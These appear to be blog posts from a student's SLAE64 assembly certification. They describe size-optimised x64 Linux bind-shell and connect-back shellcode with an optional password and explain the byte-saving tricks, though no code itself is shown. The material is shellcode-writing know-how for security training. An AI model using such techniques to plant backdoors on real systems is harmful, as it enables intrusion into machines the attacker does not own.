My version is 77 bytes, or 85 if the IP address itself contains null-bytes (such as the well-known localhost 127.0.0.1). What I do is subtract a mask from the IP, and add it back in during the shellcode's execution.  Of course, my payload also comes with an optional 4 byte one-shot password, which if used means it will be 90 to 98 bytes.

You can find the code at:
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

Sunday, December 14, 2014

x64 Linux bind TCP port shellcode (80 bytes, 95 with password)

A "bind shell" is an open port on a machine that copies stdout and stdin to the socket, and executes a shell. When shellcode can be injected into a vulnerable process, this lets an attacker place a backdoor on the computer.

It's well known that one of the best repositories for shellcode on the web is at shell-storm. At the time of writing, the shortest x64 bind shell is 132 bytes, and password protected is 147 bytes. My shellcode is 81 bytes, and 96 with a password. Though this is pretty significant, I still think my code can be shrunk, and welcome any suggestions.

UPDATE: The most recent version is now 80 bytes, 95 with password.



You can find the code at:
My main strategy for reducing the amount of bytes was to figure out which 32-bit instructions automatically get promoted to 64-bit without too much consequence. The reason for this is oftentimes the 64-bit instructions require an additional byte so the processor knows it's 64-bit mode.

I also tried to figure out where I could cut corners when it came to the syscalls. For example, I didn't set the max client backlog setting when I bound the port (leaving it 0). Intuitively, this means that it shouldn't allow any connections, however Linux goes back to a default setting which will allow us to get on the box. 

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360